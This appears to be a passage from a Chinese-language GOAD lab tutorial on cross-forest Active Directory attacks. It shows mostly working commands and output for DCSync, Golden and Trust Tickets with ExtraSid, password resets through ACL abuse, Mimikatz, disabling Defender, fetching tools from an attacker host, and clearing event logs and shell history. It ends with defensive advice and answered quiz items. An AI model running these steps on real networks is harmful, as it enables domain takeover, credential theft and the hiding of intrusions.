[*] Domain SID is: S-1-5-21-275833018-1746530869-4266753375
# 取得 sevenkingdoms.local 的 SID
lookupsid.py -domain-sids \
essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.10 0
輸出:
[*] Domain SID is: S-1-5-21-3099511005-1426058213-160971164
步驟 2:提取 essos.local 的 krbtgt Hash
# 使用 vagrant 帳號(有 DCSync 權限)
secretsdump.py -just-dc-user krbtgt \
essos.local/vagrant@192.168.139.12 \
-hashes ':e02bc503339d51f71d913c245d35b50b'
輸出:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a5df275f8f1573d10758b4de3ab8e53b:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:89738402663d29a0f95927200d6825ed841be11ca6880ab10f38e9fed2c967e8
krbtgt:aes128-cts-hmac-sha1-96:201181d2684c810476107979d10fcfcb
關鍵資訊:
a5df275f8f1573d10758b4de3ab8e53b
步驟 3:列舉目標群組(尋找 RID >= 1000)
lookupsid.py \
essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.10 \
| grep -i dragon
輸出:
1109: SEVENKINGDOMS\DragonStone (SidTypeGroup)
1111: SEVENKINGDOMS\DragonRider (SidTypeGroup)
關鍵資訊:
1111
S-1-5-21-3099511005-1426058213-160971164-1111
DragonRider 群組的權限(使用 BloodHound 確認):
MATCH (g:Group {name:"DRAGONRIDER@SEVENKINGDOMS.LOCAL"})-[r]->(m)
RETURN g,r,m
發現:DragonRider 是 Builtin Administrators 的成員,擁有對域控制器的完全控制權!
步驟 4:建立 Golden Ticket with ExtraSid
ticketer.py \
-nthash a5df275f8f1573d10758b4de3ab8e53b \
-domain-sid S-1-5-21-275833018-1746530869-4266753375 \
-domain essos.local \
-extra-sid S-1-5-21-3099511005-1426058213-160971164-1111 \
dragon
參數說明:
-nthash
: essos.local 的 krbtgt hash-domain-sid
: essos.local 的域 SID-domain
: essos.local-extra-sid
: sevenkingdoms.local\DragonRider 的完整 SIDdragon
: 偽造的使用者名稱(簡單即可,不要過度複雜)輸出:
[*] Saving ticket in dragon.ccache
步驟 5:使用票證存取 sevenkingdoms.local
# 設定 Kerberos 票證環境變數
export KRB5CCNAME=dragon.ccache
# 執行 DCSync 取得所有使用者憑證
secretsdump.py -k -no-pass \
-just-dc \
dragon@kingslanding.sevenkingdoms.local
輸出:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
...(省略其他使用者)
[*] Kerberos keys grabbed
...(省略 Kerberos 金鑰)
🎉 攻擊成功!完全控制 sevenkingdoms.local 域!
取得 SYSTEM Shell:
smbexec.py -k -no-pass \
dragon@kingslanding.sevenkingdoms.local
建立 sevenkingdoms.local 的 Golden Ticket:
ticketer.py \
-nthash 3bd92e98b99b5f66fc4d771a18e003bb \
-domain-sid S-1-5-21-3099511005-1426058213-160971164 \
-domain sevenkingdoms.local \
-user-id 500 \
Administrator
export KRB5CCNAME=Administrator.ccache
橫向移動到 north.sevenkingdoms.local 子域:
# 同森林內沒有 SID Filtering
secretsdump.py -k -no-pass \
Administrator@castelblack.north.sevenkingdoms.local
這是跨森林攻擊中最強大的技術,成功後可以完全控制目標森林。在真實環境中,這種攻擊需要精確的設定和執行,但一旦成功就能跨越原本應該隔離的安全邊界。
Trust Ticket 是另一種跨森林攻擊方法,使用域間信任帳號(Trust Account)的 hash 而不是 krbtgt。這種方法更接近真實的跨域認證流程,但也更複雜。
特性 | Golden Ticket | Trust Ticket |
---|---|---|
使用的 Hash | krbtgt | Trust Account (SEVENKINGDOMS$) |
偽造的票證 | TGT | Inter-Realm TGT |
票證用途 | 直接在域內使用 | 用於跨域認證 |
複雜度 | 簡單 | 複雜(需要額外步驟) |
成功率 | 高 | 中等 |
概念說明:
步驟 1:提取 Trust Key
# 在 essos.local 的 DC 上提取 SEVENKINGDOMS$ 帳號的 hash
secretsdump.py -just-dc-user 'SEVENKINGDOMS$' \
essos.local/vagrant@192.168.139.12 \
-hashes ':e02bc503339d51f71d913c245d35b50b'
輸出:
SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:921ab9c08c40d51c38c1fff01a14956e:::
關鍵資訊:
921ab9c08c40d51c38c1fff01a14956e
步驟 2:建立 Inter-Realm TGT with ExtraSid
ticketer.py \
-nthash 921ab9c08c40d51c38c1fff01a14956e \
-domain-sid S-1-5-21-275833018-1746530869-4266753375 \
-domain essos.local \
-extra-sid S-1-5-21-3099511005-1426058213-160971164-1111 \
-spn krbtgt/sevenkingdoms.local \
trustdragon
參數說明:
-nthash
: Trust Account 的 hash(不是 krbtgt)-domain-sid
: essos.local 的域 SID-extra-sid
: sevenkingdoms.local\DragonRider 的 SID-spn krbtgt/sevenkingdoms.local
: 指定目標域的 krbtgt 服務輸出:
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for essos.local/trustdragon
[*] Saving ticket in trustdragon.ccache
步驟 3:使用 Inter-Realm TGT 請求服務票證
export KRB5CCNAME=trustdragon.ccache
# 向 sevenkingdoms.local 的 KDC 請求服務票證
getST.py -k -no-pass \
-spn cifs/kingslanding.sevenkingdoms.local \
sevenkingdoms.local/trustdragon
輸出:
[*] Getting ST for user
[*] Saving ticket in trustdragon@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
關鍵步驟說明:
步驟 4:使用服務票證存取 sevenkingdoms.local
export KRB5CCNAME=trustdragon@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
# 測試存取 DC 的共享資料夾
smbclient.py -k -no-pass \
trustdragon@kingslanding.sevenkingdoms.local
輸出:
Type help for list of commands
# shares
ADMIN$
C$
CertEnroll
IPC$
NETLOGON
SYSVOL
執行 DCSync:
secretsdump.py -k -no-pass \
-just-dc \
trustdragon@kingslanding.sevenkingdoms.local
輸出:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
...(所有使用者憑證)
Trust Ticket 攻擊成功!
更隱蔽的跨域攻擊方法,不直接控制域控制器,而是利用 ACL 權限對目標域的特定物件進行修改。
在 GOAD 環境中存在跨域的 ACL 設定錯誤:
essos.local\KingsGuard 群組(RID 1110)
↓ GenericAll 權限
sevenkingdoms.local\stannis.baratheon 使用者
攻擊策略:
步驟 1:列舉 KingsGuard 群組的 RID
lookupsid.py \
essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.10 \
| grep -i kings
輸出:
1110: SEVENKINGDOMS\KingsGuard (SidTypeGroup)
關鍵資訊:
S-1-5-21-275833018-1746530869-4266753375
S-1-5-21-3099511005-1426058213-160971164-1110
步驟 2:建立包含 KingsGuard SID 的 Trust Ticket
ticketer.py \
-nthash 921ab9c08c40d51c38c1fff01a14956e \
-domain-sid S-1-5-21-275833018-1746530869-4266753375 \
-domain essos.local \
-extra-sid S-1-5-21-3099511005-1426058213-160971164-1110 \
-spn krbtgt/sevenkingdoms.local \
guard
參數說明:
-nthash
: Trust Account (SEVENKINGDOMS$) 的 hash-domain-sid
: essos.local 的域 SID-extra-sid
: sevenkingdoms.local\KingsGuard 的完整 SID-spn krbtgt/sevenkingdoms.local
: 指定目標域的 krbtgt 服務輸出:
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for essos.local/guard
[*] Saving ticket in guard.ccache
步驟 3:請求 LDAP 服務票證
export KRB5CCNAME=guard.ccache
getST.py -k -no-pass \
-spn ldap/kingslanding.sevenkingdoms.local \
sevenkingdoms.local/guard
輸出:
[*] Getting ST for user
[*] Saving ticket in guard@ldap_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
這個步驟使用 Inter-Realm TGT 向 sevenkingdoms.local 的 KDC 請求 LDAP 服務票證。
步驟 4:處理票證檔案名稱(避免路徑問題)
# 將檔名中的特殊字元重新命名為簡單檔名
mv "guard@ldap_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache" guard_ldap.ccache
export KRB5CCNAME=guard_ldap.ccache
注意:檔名中的 @
符號會被某些工具 URL 編碼,導致找不到檔案。
步驟 5:確認工具版本(關鍵)
# 檢查 bloodyAD 版本
pip show bloodyAD
# 如果版本低於 2.1.27,需要升級
pip install --upgrade bloodyAD msldap
必要版本:
舊版本有嚴重的相容性問題,會導致操作失敗。
步驟 6:使用 ACL 權限修改密碼
bloodyAD -d sevenkingdoms.local \
--host kingslanding.sevenkingdoms.local \
--kerberos \
set password stannis.baratheon 'NewPassword123!'
輸出:
[+] Password changed successfully!
步驟 7:驗證新密碼
nxc smb 192.168.139.10 \
-u stannis.baratheon \
-p 'NewPassword123!' \
-d sevenkingdoms.local
輸出:
SMB 192.168.139.10 445 KINGSLANDING [+] sevenkingdoms.local\stannis.baratheon:NewPassword123!
攻擊成功!現在可以使用 stannis.baratheon 在 sevenkingdoms.local 中橫向移動。
使用 stannis.baratheon 進行橫向移動:
# 列舉 stannis.baratheon 的權限
nxc ldap 192.168.139.10 \
-u stannis.baratheon -p 'NewPassword123!' \
--bloodhound -c All
# 檢查群組成員資格
nxc ldap 192.168.139.10 \
-u stannis.baratheon -p 'NewPassword123!' \
-M group-mem -o GROUP="Domain Admins"
# 如果有 WinRM 存取權,取得 shell
evil-winrm -i 192.168.139.10 \
-u stannis.baratheon \
-p 'NewPassword123!'
如果 Linux 工具遇到問題,或需要更可靠的跨域操作,可以在 Windows 環境中使用原生工具。
步驟 1:RDP 連線到 MEEREEN (essos.local DC)
# 從 Kali 使用 xfreerdp 連線
xfreerdp /d:essos.local \
/u:daenerys.targaryen \
/p:'BurnThemAll!' \
/v:192.168.139.12 \
/cert:ignore \
/dynamic-resolution
步驟 2:停用 Windows Defender
在 MEEREEN 上開啟 PowerShell(管理員):
# 停用即時保護
Set-MpPreference -DisableRealtimeMonitoring $true
# 確認狀態
Get-MpPreference | Select-Object DisableRealtimeMonitoring
步驟 3:下載所需工具
在 Kali 上啟動 HTTP 伺服器:
# 準備工具
python3 -m http.server 8080
在 MEEREEN 的 PowerShell 中下載:
# 建立工具目錄
New-Item -ItemType Directory -Path C:\Tools -Force
# 下載 Mimikatz
Invoke-WebRequest -Uri http://<KALI_IP>:8080/mimikatz.exe `
-OutFile C:\Tool\mimikatz.exe
# 下載 PowerView
Invoke-WebRequest -Uri http://<KALI_IP>:8080/PowerView.ps1 `
-OutFile C:\Tool\PowerView.ps1
步驟 4:使用 Mimikatz 建立包含 KingsGuard SID 的 Golden Ticket
開啟 CMD 或 PowerShell,執行 Mimikatz:
C:\Tool\mimikatz.exe
在 Mimikatz 中執行:
mimikatz # kerberos::golden /user:guard /domain:essos.local /sid:S-1-5-21-275833018-1746530869-4266753375 /krbtgt:a5df275f8f1573d10758b4de3ab8e53b /sids:S-1-5-21-3099511005-1426058213-160971164-1110 /ptt
參數說明:
/user:guard
- 偽造的使用者名稱/domain:essos.local
- 來源域/sid:S-1-5-21-...
- essos.local 的域 SID/krbtgt:a5df...
- essos.local 的 krbtgt hash/sids:S-1-5-21-...-1110
- sevenkingdoms.local\KingsGuard 的 SID(ExtraSid)/ptt
- Pass-the-Ticket(直接注入到記憶體)輸出:
User : guard
Domain : essos.local (ESSOS)
SID : S-1-5-21-275833018-1746530869-4266753375
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3099511005-1426058213-160971164-1110 ;
ServiceKey: a5df275f8f1573d10758b4de3ab8e53b - rc4_hmac_nt
Lifetime : <timestamp>
-> Ticket : ** Pass The Ticket **
Golden ticket for 'guard @ essos.local' successfully submitted for current session
步驟 5:驗證票證
離開 Mimikatz(輸入 exit
),在 CMD 中檢查票證:
klist
輸出:
Current LogonId is 0:0x2a9b8c
Cached Tickets: (3)
#0> Client: guard @ essos.local
Server: krbtgt/essos.local @ ESSOS.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: <timestamp>
End Time: 12/31/2037 23:59:59 (local)
Renew Time: 12/31/2037 23:59:59 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
#1> Client: guard @ essos.local
Server: krbtgt/SEVENKINGDOMS.LOCAL @ ESSOS.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
... (Inter-Realm TGT)
#2> Client: guard @ essos.local
Server: ldap/kingslanding.sevenkingdoms.local @ SEVENKINGDOMS.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
... (LDAP 服務票證)
關鍵觀察:
Mimikatz 的 /ptt
優勢:自動處理整個跨域認證流程,包括 Inter-Realm TGT 和服務票證請求。
步驟 6:使用 PowerView 修改密碼
開啟新的 PowerShell 視窗:
# 載入 PowerView
Import-Module C:\Tool\PowerView.ps1
# 建立新密碼(SecureString 格式)
$SecPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
# 修改 stannis.baratheon 的密碼
Set-DomainUserPassword -Identity stannis.baratheon `
-AccountPassword $SecPassword `
-Domain sevenkingdoms.local `
-Verbose
輸出:
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=sevenkingdoms,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(samAccountName=stannis.baratheon))
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'stannis.baratheon'
VERBOSE: [Set-DomainUserPassword] Password for user 'stannis.baratheon' successfully set
如果無輸出:表示操作成功(PowerShell 預設不顯示成功訊息)。
步驟 7:驗證密碼修改(回到 Kali)
nxc smb 192.168.139.10 \
-u stannis.baratheon \
-p 'NewPassword123!' \
-d sevenkingdoms.local
輸出:
SMB 192.168.139.10 445 KINGSLANDING [+] sevenkingdoms.local\stannis.baratheon:NewPassword123!
在 MEEREEN 上清理:
# 刪除工具
Remove-Item -Path C:\Tools -Recurse -Force
# 清除 PowerShell 歷史記錄
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath
# 清除票證
klist purge
# 重新啟用 Defender(選擇性)
Set-MpPreference -DisableRealtimeMonitoring $false
清理 Event Log(需要管理員權限):
# 清除安全性日誌(會留下清除記錄)
wevtutil cl Security
不要將信任關係視為安全邊界
許多企業誤以為建立子域或獨立森林就能有效隔離敏感資源,但實際上:
建議做法:
實施分層管理模型(Tier Model)
層級 | 資產類型 | 管理帳號 | 限制 |
---|---|---|---|
Tier 0 | 域控制器、CA、ADFS | 專用管理帳號 | 不得用於 Tier 1/2 |
Tier 1 | 伺服器、SQL、Exchange | 伺服器管理帳號 | 不得用於 Tier 2 |
Tier 2 | 使用者工作站 | 一般使用者帳號 | 不得存取 Tier 0/1 |
使用 Protected Users 群組
將高權限帳號加入 Protected Users 群組可以:
# 將 Domain Admins 加入 Protected Users
Get-ADGroupMember "Domain Admins" | ForEach-Object {
Add-ADGroupMember -Identity "Protected Users" -Members $_
}
密碼管理最佳實踐
啟用並維持 SID Filtering
SID Filtering 是跨森林攻擊的主要防禦機制:
# 檢查 SID Filtering 狀態
Get-ADTrust -Filter * | Select-Object Name, SIDFilteringQuarantined
# 確保 SID Filtering 已啟用(預設應為 True)
Set-ADTrust -Identity "essos.local" -SIDFilteringQuarantined $true
# 使用 netdom 檢查
netdom trust sevenkingdoms.local /domain:essos.local /quarantine
移除 TREAT_AS_EXTERNAL 屬性
此屬性會放寬 SID Filtering 的限制:
# 查看信任屬性
Get-ADTrust -Identity "essos.local" | Select-Object TrustAttributes
# 如果發現 TREAT_AS_EXTERNAL,應移除
netdom trust sevenkingdoms.local /domain:essos.local /quarantine:yes
實施選擇性認證(Selective Authentication)
這是最嚴格的跨域存取控制:
# 啟用選擇性認證
netdom trust sevenkingdoms.local /domain:essos.local /SelectiveAuth:yes
# 效果:外部域的使用者必須在每個資源上被明確授予「允許認證」權限
定期審查跨域群組成員
Foreign Groups 是攻擊者橫向移動的常見途徑:
# 列出所有包含外部域成員的群組
$ForeignGroups = Get-ADGroup -Filter * -Properties Members |
Where-Object { $_.Members -like "*CN=ForeignSecurityPrincipals*" }
foreach ($Group in $ForeignGroups) {
Write-Host "群組: $($Group.Name)" -ForegroundColor Yellow
# 解析外部成員
$Group.Members | Where-Object { $_ -like "*CN=ForeignSecurityPrincipals*" } |
ForEach-Object {
$FSP = Get-ADObject $_ -Properties *
Write-Host " 外部成員: $($FSP.Name)" -ForegroundColor Cyan
}
}
限制 Foreign Groups 的權限
限制 Unconstrained Delegation
# 尋找啟用 Unconstrained Delegation 的非 DC 帳號
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516} |
Select-Object Name, DistinguishedName
# 尋找啟用 Unconstrained Delegation 的使用者帳號
Get-ADUser -Filter {TrustedForDelegation -eq $true} |
Select-Object Name, DistinguishedName
使用 Resource-Based Constrained Delegation 時的注意事項
msDS-AllowedToActOnBehalfOfOtherIdentity
屬性定期重置 krbtgt 密碼
這是防禦 Golden Ticket 攻擊的關鍵措施:
# 使用 Microsoft 官方腳本
# https://github.com/microsoft/New-KrbtgtKeys.ps1
# 第一次重置(使用 WhatIf 預覽)
.\New-KrbtgtKeys.ps1 -WhatIf
# 確認後執行
.\New-KrbtgtKeys.ps1 -Confirm
# 等待 10 小時(最長 TGT 有效期)
# 第二次重置(移除舊密碼)
.\New-KrbtgtKeys.ps1 -Confirm
為何需要重置兩次?
krbtgt 帳號維護兩個密碼屬性(Current Password 與 Previous Password),域控制器會接受使用任一密碼簽發的票證。第一次重置後,攻擊者的 Golden Ticket 仍可使用 Previous Password;只有第二次重置才能完全使舊票證失效。
重置頻率建議:
啟用進階稽核政策
# 啟用關鍵稽核類別
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
關鍵事件 ID 監控清單
Event ID | 事件類型 | 監控重點 |
---|---|---|
4768 | TGT 請求 | 異常的 TGT 有效期(10 年表示 Golden Ticket) |
4769 | TGS 請求 | ExtraSid 屬性、跨域票證請求 |
4662 | LDAP 查詢 | 大量目錄物件讀取(DCSync 徵兆) |
5136 | 目錄物件修改 | msDS-AllowedToActOnBehalfOfOtherIdentity 變更 |
4738 | 使用者帳號變更 | 密碼重置、特別是來自外部域的操作 |
4672 | 特殊權限指派 | 使用高權限帳號登入 |
異常行為偵測指標
DCSync 攻擊特徵:
Golden Ticket 特徵:
跨域異常活動:
在 Active Directory 同一森林內,攻擊者已取得子域(north.sevenkingdoms.local)的 Domain Admins 權限並提取 krbtgt hash。若要透過 Golden Ticket 提權到父域(sevenkingdoms.local),應在票證中加入哪個 SID?
A. 父域的 Domain Admins(RID 512)
B. 父域的 Enterprise Admins(RID 519)
C. 子域的 Domain Admins(RID 512)
D. 本機 Administrators(SID S-1-5-32-544)
正確答案:B
Enterprise Admins 是森林層級群組,預設是所有域的 Administrators 成員,對整個森林有完全控制權。在建立 Golden Ticket 時,透過 ExtraSid 加入父域的 Enterprise Admins(RID 519)可直接取得父域權限。
Domain Admins(RID 512)僅對特定域有效,無法直接提權到父域。本機 Administrators 是 Well-Known SID,不屬於任何域。
在跨森林環境(sevenkingdoms.local ↔ essos.local)中,攻擊者已控制 essos.local 並取得 krbtgt hash。若要使用 Golden Ticket 搭配 SID History 攻擊 sevenkingdoms.local,應選擇哪種群組作為 ExtraSid?
A. RID < 1000 的內建群組(如 Enterprise Admins)
B. RID ≥ 1000 的自訂高權限群組
C. 任何群組(SID Filtering 在森林信任中預設關閉)
D. Universal 群組(範圍涵蓋整個森林)
正確答案:B
跨森林信任存在 RID Filtering 硬限制,永久過濾 RID < 1000 的內建群組(如 512 Domain Admins、519 Enterprise Admins),無法繞過。攻擊者必須在 BloodHound 中尋找 RID ≥ 1000 且擁有高權限的自訂群組(如 DragonRider RID 1111)。
森林信任預設「啟用」SID Filtering,並非關閉。群組範圍與此攻擊無關,關鍵在於 RID 值。
攻擊者發現 essos.local 的 KingsGuard 群組對 sevenkingdoms.local 的使用者有 GenericAll 權限。已取得 Trust Account(SEVENKINGDOMS$)的 hash。若要利用此 ACL 權限修改密碼,應使用哪種票證?
A. Golden Ticket(使用 essos.local 的 krbtgt)
B. Trust Ticket(使用 SEVENKINGDOMS$ 的 hash)
C. Silver Ticket(針對 LDAP 服務)
D. 直接請求 TGT
正確答案:B
Trust Ticket(Inter-Realm TGT)是專為跨域認證設計的票證類型。使用 Trust Account 的 hash 建立 Inter-Realm TGT 後,可向目標域的 KDC 請求服務票證,目標域會接受此跨域認證。
Golden Ticket 使用來源域的 krbtgt,無法直接向目標域請求服務票證。Silver Ticket 需要目標服務的 hash,且無法包含跨域 ExtraSid。
攻擊流程: